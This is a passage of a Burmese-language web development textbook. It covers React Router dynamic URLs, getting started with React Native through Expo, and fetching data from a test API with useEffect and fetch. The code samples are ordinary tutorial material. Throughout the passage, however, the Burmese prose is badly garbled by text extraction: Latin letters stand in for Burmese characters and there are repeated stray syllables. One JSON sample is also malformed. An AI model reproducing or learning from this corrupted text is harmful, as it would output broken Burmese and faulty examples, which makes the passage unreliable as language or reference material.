Element ကို အသံုးgပုရင် ပုိသင့်ကြေတာ်ပါတယ်။ ဒါကြေeကာင့် နမူနာမှာ သက်ဆိုင်ရာ လိပ်စာကို ချတိ်ကြေပးထား
တဲ့ <Link> Element ကြေလးကြေတွ ပါဝင်တာကိုလည်း သတိgပုပါ။

http://localhost:3000/male
http://localhost:3000/male
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Dynamic URL
အကြေgခအကြေနကြေပါ်မူတည်ပြပီး  တန်oုိးကြေgပာင်းလဲကြေနတဲ့  URL  ကြေတွကို  အသုံးgပုoုိ့  လုိအပ်ရင်လည်း  သံုးနိုင်ပါ
တယ်။  /user/1, /user/2, /user/3 စသgoင့် လုပ်ကြေဆာင်ချက်က အတတူူပဲ၊  1, 2, 3  စသgoင့်
Parameter တန်oုိးပဲ ကြေgပာင်းသွားတဲ့သကြေyာပါ။ ဒီကုဒ်ကိုကြေလ့လာeကည့်ပါ။

 JavaScript/JSX 

import {
    Routes,
    Route,
    useParams,
    useNavigate,
} from "react-router-dom";

function User() {
    const { name } = useParams();
    return <h1>Profile – {name}</h1>;
};

export default function App(){
    const navigate = useNavigate();

    return (
        <div>
            <button onClick={() => navigate("/user/alice")}>
                Alice
            </button>
            <button onClick={() => navigate("/user/bob")}>
                Bob
            </button>

            <div style={{ background: "cyan", padding: 20 }}>
                <Routes>
                    <Route path="/user/:name" element={<User />} />
                </Routes>
            </div>
        </div>
    );
};

ထူးgခားချက်အကြေနနဲ့  <Route> ရဲ့  path မှာ  :name ဆိုတဲ့  Parameter  တစ်ခုပါဝင်ပါတယ်။  :name
ကြေနရာမှာ ပါဝင်လာတဲ့ တန်oုိးကြေတွ ကြေgပာင်းလဲကြေနရင်လည်း လက်ခံအလုပ် လုပ်ကြေပးနိုင်တဲ့ Route goစ်သွားပါ
တယ်။  ဒါကြေeကာင့် /user/Alice, /user/Bob,  /user/Tom,  /user/Mary စသည်goင့်
ကြေနာက်ကတန်oုိး အမျ ို းမျ ို း ကြေgပာင်းကြေနရင်လည်း ဒီ  Route  က အလုပ်လုပ်သွားမှာ goစ်ပါတယ်။  /user/
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ကြေနာက်ကလုိက်တဲ့ တန်oုိးကြေတွက :name goစ်သွားမှာပါ။

ဒီကုဒ်နမူနာမှာ <Link> Component  ကြေတွ မသုံးထားပါyူး။ သုံးမယ်ဆိုရင်လည်း သံုးလုိရ့ပါတယ်။ အ့ဲဒီ
အစား  ကြေနာက်ထပ်  နည်းလမ်းတစ်ခုအကြေနနဲ့  useNavigate() Hook  ကကြေနရတဲ့  navigate()
Function ကို အစားထုိးပြပီး သုံးgပထားပါတယ်။ Button ရဲ့ onClick မှာ ကြေရးထားတာgoစ်လုိ့ Button ကို
နှိပ်လုိက်ရင် navigate() မှာကြေပးထားတဲ့ လိပ်စာကို ကြေရာက်သွားမှာပါ။ ဒီနည်းနဲ့ <Link> မပါyဲလည်း
Page ကြေတွတစ်ခုနဲတ့စ်ခု သွားလုိရ့ပါတယ်။

User Component ကိုလည်း ကြေလ့လာeကည့်လုိက်ပါ။ useParams() လုိ့ ကြေခါ်တဲ့ Hook ရဲ့ အကူအညီနဲ့
URL  ထဲက  :name တန်oုိးကို  ယူထားပါတယ်။  ဒီနည်းနဲ့  URL  မှာပါဝင်လာတဲ့  ကြေgပာင်းလဲကြေနတဲ့
Parameter တန်oုိးကြေတွကို Component က ရယူ အလုပ်လုပ်နိုင်သွားမှာပဲ goစ်ပါတယ်။
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အခန်း (၆၂) – React Native

React  Native  ဟာ  React  ကို  အသံုးgပုထားတဲ့  Cross-platform  Development  နည်းပညာတစ်ခုပါ။
Mobile  အတွက်ကြေရာ  Desktop  အတွက်ပါ သံုးeကပါတယ်။  React Native  ကိုသုံးပြပီး  Android App  ကြေတွ
iOS App ကြေတွ Windows App ကြေတွ ကြေရးလုိရ့ပါတယ်။ ကြေရးတဲ့အခါ React (JavaScript) နဲ့ ကြေရးရလုိ့ ကြေရးရ
တာ gမန်သလုိ၊ လက်ကြေတွ့ အလုပ်လုပ်တဲ့အခါ  Native UI  ကြေတွကို အသုံးgပုပြပီး အလုပ်လုပ်လုိ့ စွမ်းကြေဆာင်
ရည် အgမန်နှုန်းလည်း ကြေကာင်းပါတယ်။ ကြကိုက်တဲ့သူ ရှိသလုိ မကြကိုက်တဲ့သူကြေတွလည်း ရိှပါတယ်။ ဒီကြေနရာ
မှာ  အကြေeကာင်း  အကျ ို း  အကြေကာင်း  အဆိုးကြေတွကို  နိှုင်းယှဉ်ပြပီး  ကြေgပာမကြေနကြေတာ့ပါyူး။  yယ်လုိသုံးရလဲ၊
yယ်လုိကြေရးရလဲ ဆိုတာကိုပဲ ကြေgပာgပသွားမှာပါ။

React  ပကြေရာင်္ဂျက်ကြေတွကို  create-react-app အသုံးgပု တည်ကြေဆာက်ရသလုိ့  React Native  ပကြေရာ
င်္ဂျက်ကြေတွကိုကြေတာ့ react-native (သုိ့မဟုတ်) Expo လုိ့ကြေခါ်တဲ့ နည်းပညာကို အသံုးgပု တည်ကြေဆာက်
ရပါတယ်။  Mobile  App  ကြေတွ  ကြေရးရ စမ်းရတာ နည်းနည်း  အလုပ်များပါတယ်။  စက်ထဲမှာ  သက်ဆိုင်ရာ
SDK ကြေတွ Build Tool ကြေတွ ရှိမှ စမ်းလုိရ့eကပါတယ်။ Expo လုိ့ကြေခါ်တဲ့ နည်းပညာက React Native ပကြေရာ
င်္ဂျက်ကြေတွကို  ကိုယ့်စက်ထဲမှာ  တgခားyာမှ  ရှိစရာမလုိyဲ  စမ်းလုိရ့ကြေအာင်  လုပ်ကြေပးထားလုိ့  အကြေတာ်
အဆင်ကြေgပပါတယ်။  React Native Documentation  ကလည်း  Expo  ကို  ဦးစားကြေပး ကြေoာ်gပထားသလုိ ဒီ
ကြေနရာမှာလည်း Expo ကိုပဲ အသုံးgပုပြပီး ကြေရှ့ ဆက်သွားeကမှာပါ။ ပထမဆံုးအကြေနနဲ့ expo-cli ကို NPM နဲ့
Install လုပ်ကြေပးရပါမယ်။

npm i expo-cli 
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ပြပီးတဲ့အခါ React Native ပကြေရာင်္ဂျက်တစ်ခုကို အခုလုိ တည်ကြေဆာက်ကြေပးရပါတယ်။

npx expo init HelloNative

အသုံးgပုတဲ့ Version ကြေပါ်မူတည်ပြပီး ပကြေရာင်္ဂျက်တည်ကြေဆာက်စဉ်မှာ ကြေမးခွန်းတစ်ချ ို ့ ကြေမးနိုင်ပါတယ်။ ပံုကြေသ
ကြေgပာgပလုိ့  မရကြေတာ့ပါyူး။ ကြေပါ်လာတဲ့  Instruction  ကို  လုိက်oတ်ပြပီး ကိုယ်တိုင်ဆက်သွားနိုင်oုိ့  လုိအပ်ပါ
လိမ့်မယ်။ ပကြေရာင်္ဂျက်တည်ကြေဆာက်ပြပီးတဲ့အခါ အခုလုိ Run eကည့်လုိရ့ပါပြပီ။

cd HelloNative
npx expo start

ဒီလုိ  Run လုိက်တယ်ဆိုရင်  Terminal  ထဲမှာ  QR Code ကြေလးတစ်ခု ကြေပါ်လာပါလိမ့်မယ်။ အ့ဲဒီ  QR Code
ကို Expo Go App နဲ့ Scan လုပ်လုိက်မယ်ဆိုရင် ပကြေရာင်္ဂျက်ကို ကိုယ့်oုန်းကြေပါ်မှာ တစ်ခါထဲ Run gပကြေပးသွား
မှာပဲ goစ်ပါတယ်။ Expo App ကို ဒီလိပ်စာကြေတွမှာ ရယူနိုင်ပါတယ်။

Google Play Store - https://play.google.com/store/apps/details?id=host.exp.exponent&hl=en
Apple App Store - https://apps.apple.com/us/app/expo-client/id982107779

အကြေရးကြကီးတာ တစ်ခုကကြေတာ့ စမ်းမယ့်oုန်းနဲ့ ကုဒ်ကြေရးကြေနတဲ့ ကွန်ပျူတာဟာ   Wifi Network   တစ်ခုထဲမှာ ရှိ  
ရမှာgoစ်ပါတယ်။  ဒါမှအလုပ်လုပ်မှာပါ။  Wifi  မတူရင်  ပံုမှန်အားgoင့်  အလုပ်မလုပ်ပါyူး။  အ့ဲဒါကို  အလုပ်
လုပ်ကြေစချင်ရင် ရကြေအာင်လုပ်တဲ့နည်းကြေတွရှိကြေပမယ့် ဒီကြေနရာမှာ ထည့်မကြေgပာနိုင်ကြေတာ့ပါyူး။ လုိအပ်ရင် Expo
ရဲ့ Documentation မှာ ဆက်ကြေလ့လာရမှာပါ။

ကြေနာက်တစ်နည်းအကြေနနဲ့  ကိုယ့်စက်ထဲမှာ  Android Emulator  တို့  iOS Simulator  တို့  ရှိရင်လည်း  အ့ဲဒီ
Simulator  ထဲမှာ  Run  ခိုင်းလုိရ့ပါတယ်။  Android App  ကြေတွ  iOS  App  ကြေတွ  စမ်းကြေရးoူးလုိ့  စက်ထဲမှာ
Simulator ကြေတွရှိတဲ့သူက Simulator ကို oွင့်ထားလုိက်ပါ။ ပြပီးရင် Expo Run ထားတဲ့ Terminal ထဲမှာ a
ကို နှိပ်ကြေပးလုိက်ရင် Android အတွက် Run ကြေပးသွားမှာgoစ်ပြပီး i ကို နှိပ်ကြေပးလုိက်ရင် iOS အတွက် Run
ကြေပးသွားပါလိမ့်မယ်။

https://apps.apple.com/us/app/expo-client/id982107779
https://play.google.com/store/apps/details?id=host.exp.exponent&hl=en
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အခုလုိရလဒ်မျ ို းကို goစ်နိုင်ပါတယ်။

ဒီနည်းကြေတွထက် ပုိလွယ်တာကကြေတာ့ React Native ပကြေရာင်္ဂျက်ကို  Web Browser အတွင်းမှာပဲ Run eက
ည့်gခင်း goစ်ပါတယ်။ Expo Run ထဲမှာ Terminal ထဲမှာပဲ w ကို နှိပ်လုိက်ရင်ရပါတယ်။ ဒါကြေပမယ့် ဤဒီလုိ
Web Browser ထဲမှာ Run နိုင်oုိအ့တွက် ထပ်ထည့်ရမယ့် Package ကြေတွ ရှိလာပါလိမ့်မယ်။ Version တစ်ခု
နဲတ့စ်ခု မတူeကပါyူး။  Expo  က Terminal  ထဲမှာပဲ ထပ်ထည့်ရမယ့်  Package  အမည်ကြေတွကို  ကြေgပာgပပါ
လိမ့်မယ်။  လုိက်oတ်eကည့်ပြပီး  ကိုယ့်yာသာ  Install  လုပ်ကြေပးoုိ့  လုိအပ်ပါလိမ့်မယ်။  လုိအပ်တဲ့  Package
ကြေတွ အစံုထည့်ပြပီးရင် npx expo start ကို ကြေနာက်တစ်ခါ gပန် Run ပြပီး w ကြေလးတစ်ချက် နှိပ်ကြေပးလုိက်
တဲ့အခါ မုိyိုင်းoုန်းကြေတွမှာ အလုပ်လုပ်oုိ့ ရည်ရွယ်ကြေရးသားပါတယ်ဆိုတဲ့ React Native ပကြေရာင်္ဂျက်ကို Web
Browser နဲ့ပဲ ဆက်ပြပီးကြေတာ့ စမ်းeကည့်လုိရ့သွားပါလိမ့်မယ်။

ဒီအဆင့်ထိ စမ်းသပ်ကြေအာင်gမင်ပြပီဆိုရင် ကြေနာက်ပုိင်းက လွယ်သွားပါပြပီ။ အများအားgoင့် ကြေရှ့ ပုိင်းမှာ ကြေလ့လာ
ခဲ့ပြပီးgoစ်တဲ့  React ကြေရးထုံးကြေတွအတိုင်းပဲ ဆက်ကြေရးသွားရမှာပါ။  Component တည်ကြေဆာက်ပုံ၊  state ကြေတွ
props  ကြေတွ စီမံပုံ၊  အားလုံးအတူတူပါပဲ။  Input  စီမံပုံကြေလး နည်းနည်း ကွဲသွားပြပီး  <div> တို့  <h1> တို့
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<ul> တိုလုိ့  HTML Element  ကြေတွအစား  <View> တို့  <Text> တိုလုိ့  React Native  က oန်တီးကြေပး
ထားတဲ့ Element ကြေတွကို အစားထုိး သုံးကြေပးရမှာပါ။

နမူနာအကြေနနဲ ့ပကြေရာင်္ဂျက်oုိဒါထဲက App.js ကိုoွင့်ပြပီး အခုလုိကြေရးစမ်းeကည့်ပါ။

 JavaScript/JSX 

import { Text, View } from 'react-native';

function App() {
    return (
        <View style={{ backgroundColor: 'cyan', padding: 20 }}>
            <Text style={{ fontSize: 40, fontWeight: 'bold' }}>
                Hello React Native
            </Text>
        </View>
    )
}

export default App;

ရုိးရုိး React ကုဒ်နဲ့ သိပ်မကွာyဲ <div> ကြေတyွာကြေတွအစား React Native ကကြေန Import လုပ်ယူထားတဲ့
<View> နဲ့  <Text> တိုက့ို  သံုးသွားတာကို  ကြေတွ့ရမှာပါ။  <View> ကို  <div> နဲ့  တူတယ်လုိ့
သကြေyာထားပြပီး  စာမှန်သမျှ  <Text> ထဲမှာ  ရှိသင့်တယ်လုိ့  မှတ်ထားကြေပးပါ။  ကြေနာက်ထပ်ထူးgခားချက်
ကကြေတာ့  style အကြေနနဲ့  သုံးထားတဲ့  CSS  ကုဒ်မှာ  background အစား  backgroundColor လုိ့
အgပည့်အစံု ကြေရးရတာကိုလည်း သတိgပုပါ။ Style ကြေတွအတွက် ကြေရးထုံးက CSS ကြေရးထုံးအတိုင်းပဲ ကြေရးရကြေပ
မယ့် အခုလုိ ကွဲလဲွမှုကြေလးတစ်ချ ို ့ကြေတာ့ ရိှပါတယ်။ ရလဒ်ကို အခုလုိ goစ်မှာပါ။
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တgခား  အသုံးဝင်တဲ့  အကြေgခခံ  Component  ကြေတွကကြေတာ့  <ScrollView>  <Image>

<TextInput> <Button> <Picker> <Switch> <FlatList> တိုပဲ့goစ်ပါတယ်။ ဒါကြေတွက
React Native နဲ့ ပါတဲ့  Cross-Platform Component ကြေတွကို ကြေgပာတာပါ။ ဆိုလုိတာက ဒီ Component
ကြေတွကို  Android App ကြေတွ မှာပဲgoစ်goစ်  iOS App ကြေတွမှာပဲgoစ်goစ် အသံုးgပုလုိ့ ရပါတယ်။ yယ်လုိနည်း
လမ်းမျ ို းနဲ့ အသံုးgပုလုိရ့သလဲဆိုတာ ဒီပံုကြေလးကိုeကည့်ပါ။
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React Native မှာ -

 JavaScript/JSX 

<View>
<Image /><Text />

</View> 

လုိ့ကြေရးထားကြေပးမယ်၊  လက်ကြေတွ့အလုပ်လုပ်တဲ့အခါ  Android  မှာဆိုရင်  ViewGroup,  ImageView  နဲ့
TextView  ဆိုတဲ့  Android Native UI  ကြေတွကို သုံးပြပီး အလုပ်လုပ်ကြေပးမှာပါ။  iOS  မှာဆိုရင်ကြေတာ့  UIView,
UIImageView နဲ့  UITextView ဆိုတဲ့  iOS Native UI ကြေတွကို သုံးသွားမှာပါ။ ဒီနည်းနဲ့ တစ်ကြကိမ်ကြေရးယုံပြပီး
Platform နှစ်ခုလံုးအတွက် App ကြေတွကို ထုတ်ကြေပးနိုင်မှာ goစ်ပါတယ်။

Cross-Platform  မဟုတ်တဲ့  Android  သီးသန့်၊  iOS  သီးသန့်  Component  ကြေတွလည်း  ရှိပါကြေသးတယ်။
ဥပမာ  -  <DrawerLayoutAndroid>  <ToastAndroid> စတာကြေတွဟာ  Android  သီးသန့်
Component  ကြေတွပါ။  <View> <Text> <TextInput> <Button> နဲ့  <FlatList> တိုက့ို
အသုံးgပုပြပီး နမူနာတစ်ခု ကြေရးgပပါမယ်။

 JavaScript/JSX 

import { useState } from 'react';

import { 
    StyleSheet,
    FlatList,
    Button,
    TextInput,
    Text,
    View
} from 'react-native';

const styles = StyleSheet.create({
    container: {
        backgroundColor: '#ddd',
    },

    appbar: {
        paddingTop: 40,
        paddingBottom: 20,
        paddingLeft: 20,
        paddingRight: 20,
        backgroundColor: 'cyan',
    },
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    title: {
        fontSize: 30,
        fontWeight: 'bold'
    },
    content: {
        margin: 10,
        backgroundColor: 'white',
    },
    item: {
        padding: 10,
        borderBottomWidth: 1,
        borderColor: '#ddd'
    },
    itemText: {
        fontSize: 20
    }
});

function Item(props) {
    return (
        <View style={styles.item}>
            <Text style={styles.itemText}>
                {props.name}
                (${props.price})
            </Text>
        </View>
    )
}

function App() {
    let [ items, setItem ] = useState([
        { id: '1', name: 'Apple', price: 0.99 },
        { id: '2', name: 'Orange', price: 0.89 },
    ]);

    return (
        <View style={styles.container}>
            <View style={styles.appbar}>
                <Text style={styles.title}>React Native</Text>
            </View>
            <View style={styles.content}>
                <FlatList
                    data={items}
                    renderItem={({ item }) => (
                        <Item 
                            name={item.name} 
                            price={item.price}
                        />
                    )}
                    keyExtractor={i => i.id}
                />
            </View>
        </View>
    )
}

export default App;
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ကုဒ်ကြေတွများလုိ့  လန့်မသွားပါနဲ။့  Style  ကြေတွ များကြေနတာပါ။  Style  ကြေတွကို  ဒီတိုင်းကြေရးရင်လည်း ရကြေပမယ့်
React  Native  ကကြေပးတဲ့  Stylesheet  လုပ်ကြေဆာင်ချက်ကို  သံုးထားပါတယ်။  create(),
compose(), flatten() စသgoင့်  ကြေရးထားတဲ့  Style  ကြေတွကို  စီမံတဲ့အခါ  အကြေထာက်အကူgပုတဲ့
လုပ်ကြေဆာင်ချက်ကြေတွ ရနိုင်ပါတယ်။ ပြပီးကြေတာ့ အ့ဲဒီ  Style  ကြေတွက လက်ကြေတွ့မှာ အခုလုိ ကိုယ်တိုင် အကုန်
ကြေရးစရာ မလုိပါyူး။ အသင့်သုံး UI Framework ကြေတွ အများကြကီးရှိပါတယ်။ လုိချင်တဲ့ UI ကို ယူသံုးယုံပါပဲ။
ဒီကြေနရာမှာသာ ဒီလုိ Framework ကြေတွကို သုံးပြပီး နမူနာမgပချင်လုိ့ ကိုယ့်yာသာ ကြေရးထားရတာပါ။

ကျန်တဲ့  JavaScript  ကုဒ်က သိပ်ကြေတာင် ရှင်းgပစရာ မရှိပါyူး။ oတ်eကည့်ပါ၊ ရုိးရုိး  React  ကုဒ်အတိုင်းပဲ
ကြေရးထားတာပါ။ ထူးgခားချက်အကြေနနဲ့  <FlatList> အကြေeကာင်းကြေလာက်ပဲ ကြေgပာစရာရှိပါတယ်။  FlatList
အတွက်  props (၃)  ခု  လုိပါတယ်။  data က  List  အကြေနနဲ့ကြေoာ်gပကြေစလုိတဲ့  စာရင်းပါ။  renderItem
ကကြေတာ့  List  Item  တစ်ခုချင်းစီကို  yယ်လုိကြေoာ်gပရမလဲ  ကြကိုတင်သတ်မှတ်ထားတဲ့  Component  ပါ။
keyExtractor ကကြေတာ့ React မှာ ထည့်ကြေgပာခဲ့တဲ့ key props နဲ့ သကြေyာသyာဝ တူပါတယ်။ ဒီ (၃)
ခုစံုရင် သူ့yာသာ ကြေoာ်gပသွားလုိ့  map() ကြေတyွာကြေတွနဲ့  Loop  လုပ်ကြေနစရာ မလုိကြေတာ့ပါyူး။ ရလဒ်က
အခုလုိပုံစံgoစ်မှာပါ။
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ကြေနာက်တစ်ဆင့်အကြေနနဲ ့App Component ရဲ့ oဲွ့စည်းပံုက ဒီပုံစံgoစ်သွားပါလိမ့်မယ်။

 JavaScript/JSX 

function App() {
    const [ items, setItem ] = useState([
        { id: '1', name: 'Apple', price: 0.99 },
        { id: '2', name: 'Orange', price: 0.89 },
    ]);

    const [name, setName] = useState('Name');
    const [price, setPrice] = useState('Price');

    const add = () => {
        setItem([
            ...items,
            { id: items.length + 1, name, price }
        ])
    }

    return (
        <View style={styles.container}>
            <View style={styles.appbar}>
                <Text style={styles.title}>React Native</Text>
            </View>
            <View style={styles.content}>
                <FlatList
                    data={items}
                    renderItem={({ item }) => (
                        <Item name={item.name} price={item.price} />
                    )}
                    keyExtractor={i => i.id}
                />
            </View>
            <View style={styles.content}>
                <TextInput
                    style={styles.input}
                    onChangeText={text => setName(text)}
                    value={name}
                    />
                <TextInput
                    keyboardType="numeric"
                    style={styles.input}
                    onChangeText={text => setPrice(text)}
                    value={price}
                    />
                <Button title="ADD" onPress={add} />
            </View>
        </View>
    )
}
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ဒီကြေနရာမှာ  Input  ကြေတွစီမံပုံအကြေeကာင်း  ကြေgပာရပါမယ်။  ရုိးရုိး  React  ပကြေရာင်္ဂျက်ကြေတွမှာ  Input  ကြေတွစီမံoုိ့
ref ကို  သံုးပါတယ်။  React  Native  မှာ  ref လုပ်ကြေဆာင်ချက်  မရှိပါyူး။  ဒါကြေeကာင့်  Input  ကြေတွကို
state နဲ့ စီမံပါတယ်။ Input မှာ ရုိက်လုိက်သမျှ တန်oုိးအားလုံးကို state မှာ သွားသိမ်းလုိက်တာပါ။ ဒါ
ကြေeကာင့် Input ရဲ့ တန်oုိးကို လုိချင်ရင် state ကကြေန gပန်ယူရပါတယ်။ ref မကြေပါ်ခင်က ရုိးရုိး React ပ
ကြေရာင်္ဂျကက်ြေတွမှာလည်း ဒီလုိပဲ သွားရပါတယ်။

ကြေရးထားတဲ့  ကုဒ်ကို  eကည့်လုိက်ရင်  useState() Hook  ကို  အသံုးgပုပြပီး  name,  setName,
price, setPrice စသgoင့် state နဲ့  state ကို စီမံနိုင်တဲ့  Function ကြေတွ တည်ကြေဆာက်ပါတယ်။ ပြပီး
ကြေတာ့မှ <TextInput> Component ကြေတရွဲ့  onChangeText မှာ တန်oုိးကြေgပာင်းတိုင်း  name, price
စတဲ့ state ကြေတွကို ကြေgပာင်းoုိ့ ကြေရးထားပါတယ်။ value မှာကြေတာ့ လက်ရှိ state Data ကို gပန်သတ်မှတ်
ကြေပးထားပါတယ်။  ဒီနည်းနဲ့  ရုိက်လုိက်သမျှ သွားသိမ်းပြပီး သိမ်းထားသမျှ gပန်gပတဲ့ သကြေyာသyာဝကို ရရှိ
သွားပါတယ်။

input ဆိုတဲ့ Style ကိုလည်း သံုးထားလုိ့ ဒီ Style ကုဒ်ကြေလးကို Style စာရင်းထဲမှာ goည့်ကြေပးoုိ့ လုိပါလိမ့်
မယ်။

 CSS 

input: {
    borderWidth: 1,
    borderColor: '#ddd',
    padding: 10,
}

<Button> Component ကိုလည်းသုံးထားပြပီး နှိပ်လုိက်ရင် add() ကို အလုပ်လုပ်ကြေပးပါတယ်။ add()
မှာကြေရးထားတဲ့ ကုဒ်ကကြေတာ့ ထူးgခားချက်အသစ် မရှိပါyူး။ name နဲ့  price ကို  state ကကြေန တိုက်ရုိက်
ယူသုံးထားတာပဲ ရှိပါတယ်။ Button ရဲ့  onPress ကိုကြေတာ့ သတိgပုပါ။ ရုိးရုိး  React မှာ onClick လုိ့
သုံးကြေပမယ့် React Native မှာ onPress လုိ ့သုံးပါတယ်။

ရလဒ်ကကြေတာ့ အခုလုိgoစ်မှာပါ။



PWD 2023 – အခန်း (၆၂) – React Native 803

ဒီကြေလာက်သိသွားပြပီဆိုရင်  React Native  ကို စအသံုးgပုလုိရ့ကြေနပါပြပီ။  Component  ကြေတွကို  CSS Flexbox
သုံးပြပီး  Layout  oန်တီးပုံကြေတွ၊  Device  ရဲ့  Status Bar  တို့  Back Button  တို့  Storage  တိုက့ို  စီမံပံုကြေတ၊ွ
Page ကြေတွခွဲပြပီး Navigation ကြေတွ yာကြေတွနဲ့ ကြေရးပုံကြေရးနည်းကြေတွ၊ Native API ကြေတွ ကြေခါ်သုံးပုံသုံးနည်းကြေတွ၊
ကြေgပာမယ်ဆိုရင်ကြေတာ့ အများကြကီး ကျန်ပါကြေသးတယ်။

ဒါကြေပမယ့် ကြေရှ့အခန်းကြေတွမှာ ကြေgပာခဲ့သလုိပါပဲ။  React  အကြေgခခံကြေတွ ကိုကြေကာင်းကြေကာင်း ကြေeကညက်ပုိင်နိုင်oုိ့
သာအဓိကပါ။ React ကို ပုိင်နိုင်ရင် React Native ကို ဆက်ကြေလ့လာရတာ မခက်ကြေတာ့ပါyူး။
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အခန်း (၆၃) – Working with API in React

React  ဟာ  Client-side  နည်းပညာတစ်ခုgoစ်သလုိ  ကြေရှ့ပုိင်းမှာ  ကြေgပာခဲ့သမျှကြေတာက်ကြေလျှာက်ကလည်း
Client App  တစ်ခုအကြေနနဲ့သာ ကြေgပာခဲ့တာပါ။  Server-side API  ကြေတွနဲ့  ချတိ်ဆက် အလုပ်လုပ်ပံုကြေတွ မပါ
ကြေသးပါyူး။  API  အကြေeကာင်းကို  ပြပီးခဲ့တဲ့အပုိင်းမှာ ကြေoာ်gပခဲ့ပြပီးသလုိ ကြေနာက်တစ်ပုိင်းမှာလည်း အကြေသးစိတ်
ထပ်မံကြေoာ်gပဦးမှာပါ။ လက်ရှိအပုိင်းမှာကြေတာ့ အသင့်ရှိကြေနတဲ့  Test API တစ်ခုကို အသံုးgပုပြပီး  React ပကြေရာ
င်္ဂျက်ကကြေန  yယ်လုိဆက်သွယ်  အသံုးgပုရသလဲ  ဆိုတာကို  ကြေoာ်gပသွားပါမယ်။  Test  API  URL  အကြေနနဲ့
reqres.in/api/users ကို အသုံးgပုထားပါတယ်။ gပန်ရမယ့် Response Body ရဲ့ oဲွ့စည်းပံု နမူနာ
က ဒီလုိgoစ်မှာပါ။

 JSON 

{
    "page": 2,
    "per_page": 6,
    "total": 12,
    "total_pages": 2,
    "data": [{
        "id": 7,
        "email": "michael.lawson@reqres.in",
        "first_name": "Michael",
        "last_name": "Lawson"
    }, {
        "id": 8,
        "email": "lindsay.ferguson@reqres.in",
        "first_name": "Lindsay",
        "last_name": "Ferguson"
    }
}
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page, per_page, total စသgoင့်  Meta Information  လဲပါသလုိ နမူနာ  User  စာရင်းကိုလည်း
data အကြေနနဲ့ ထည့်ကြေပးထားပါတယ်။ 

Function Component  ကြေတွမှာ ဒီလုိ  API  ကြေတွနဲ့  ချတိ်ဆက်အလုပ်လုပ်oုိအ့တွက်  useEffect() လုိ့
ကြေခါ်တဲ့ Hook တစ်ခု ပါဝင်ပါတယ်။ အခုလုိ အသံုးgပု ကြေရးသားရပါတယ် – 

 JavaScript/JSX 

import { useState, useEffect } from "react";

export default function App() {
    const [ users, setUsers ] = useState([]);

    useEffect(() => {
        fetch('https://reqres.in/api/users?page=2')

.then(res => res.json())

.then(json => {
          setUsers(json.data);
        });
    }, []);

    return (
        <ul>
            {users.map(u => <li key={u.id}>{u.first_name}</li>)}
        </ul>
    );
}

API  ကို  Request  gပုလုပ်oုိအ့တွက်  fetch() JavaScript Function  ကို  useEffect() ထဲမှာ ကြေရး
ထားပါတယ်။  အရင်ကကြေတာ့ အခုလုိ  API  Request  ကြေတွအတွက်  Ajax  တို့  jQuery  တိုက့ို  အသုံးgပုရပါ
တယ်။ အခုကြေတာ့ မလုိကြေတာ့ပါyူး။ JavaScript မှာ ပါဝင်လာတဲ့  fetch() Function နဲတ့င် အဆင်ကြေgပ
သွားပါပြပီ။

useEffect() ဟာ  Component  ကို  ပထမဆံုးအကြကိမ်  ကြေoာ်gပတဲ့အခါ၊ မကြေoာ်gပခင်နဲ့  ကြေoာ်gပပြပီး  (၂)
ကြကိမ် အလုပ်လုပ်ကြေပးပါတယ်။ useEffect() မပါyဲ Component ထဲမှာ ဒီအတိုင်းထည့် ကြေရးရင်လည်း
အလုပ်လုပ်မှာပါပဲ။ ဒါကြေပမယ့် ဒီအတိုင်းကြေရးရင်  Component  မှာ တစ်ခုခုကြေgပာင်းတိုင်း  API Request  ကို

https://reqres.in/api/users?page=2
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အကြကိမ်ကြကိမ် လုပ်ကြေနကြေတာ့မှာပါ။ ဒီလုိ မလုိအပ်yဲ အကြကိမ်ကြကိမ်လုပ်မကြေနကြေစoုိအ့တွက် useEffect() နဲ့
ကြေရးကြေပးရတာပါ။  useEffect() အတွက်  Parameter  နှစ်ခုကြေပးရပြပီး  ဒုတိယ  Parameter  ကို
Dependency Array လုိ့ကြေခါ်ပါတယ်။ Dependency Array ထဲမှာ ထည့်ကြေပးထားတဲ့ တန်oုိးကြေgပာင်းရင်ကြေတာ့
useEffect() က အလုပ်ထပ် လုပ်ကြေပးပါတယ်။ လက်ရှိနမူနာမှာကြေတာ့ Dependency ကြေတွမရှိyဲ Array
အလွတ်ကိုပဲ  ကြေပးထားပါတယ်။ လုိရင်းအကြေနနဲ့  useEffect() က  Component  ကို  ပထမဆံုးအကြကိမ်
ကြေoာ်gပစဉ်နဲ့ Dependency တန်oုိး ကြေgပာင်းလဲချနိ်မှာ အလုပ်လုပ်ပြပီး ကျန်အချနိ်ကြေတွမှာ မလုိအပ်yဲ အလုပ်မ
လုပ်yူးဆိုတဲ့သကြေyာပဲ goစ်ပါတယ်။

fetch() Function  အတွက်  API  URL  ကို  ပထမ  Argument  အကြေနနဲ့  ကြေပးရပြပီး  Promise  တစ်ခုကို
Response အကြေနနဲ့ gပန်ရမှာပါ။ နမူနာမှာ gပန်ရလာမယ့် Response ကို လက်ခံပြပီး JSON ကြေgပာင်းပါတယ်။
ကြေgပာင်းထားတဲ့ JSON ရဲ့ data ကို state ရဲ့ users အgoစ် သတ်မှတ်လုိက်တဲ့အတွက် API က gပန်ကြေပး
တဲ့ User စာရင်းကို Component က ကြေoာ်gပကြေပးသွားမှာ goစ်ပါတယ်။

ကြေနာက်ထပ်နမူနာအကြေနနဲ ့add() လုပ်ကြေဆာင်ချက်ကို ထပ်goည့်eကည့်ပါမယ်။ ဒီလုိကြေရးရပါတယ်။
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 JavaScript/JSX 

function add() {
    fetch('https://reqres.in/api/users', {
        method: 'POST',
        headers: {
            'content-type': 'application/json'
        },
        body: JSON.stringify({ first_name: 'Tom' })
    }).then(res => res.json()).then(tom => {
        setUsers([ ...users, tom ]);
    });
}

ဒီတစ်ခါကြေတာ့  fetch() အတွက်  Argument  နှစ်ခု  goစ်သွားပါပြပီ။ ပထမ  Argument  က  API URL  ပါ။
ဒုတိယ Argument ကကြေတာ့ Request Options ကြေတွပါ။ Request Method ကို POST လုိ့ သတ်မှတ်ထား
ပါတယ်။ Header Content Type ကို  application/json လုိသ့တ်မှတ်ထားပါတယ်။ ကျွန်ကြေတာ်တို့
လက်ရှိသုံးကြေနတဲ့ Test API အပါအဝင် API အများစုက ဒီလုိ Content Type  ပါလာမှပဲ လက်ခံeကပါတယ်။
Request  Body  က  String  goစ်ရမှာပါ။  ဒါကြေeကာင့်  JSON.stringify() နဲ့  ကြေပးပုိခ့ျင်တဲ့  Data  ကို
String ကြေgပာင်းပြပီး သတ်မှတ်ကြေပးထားပါတယ်။

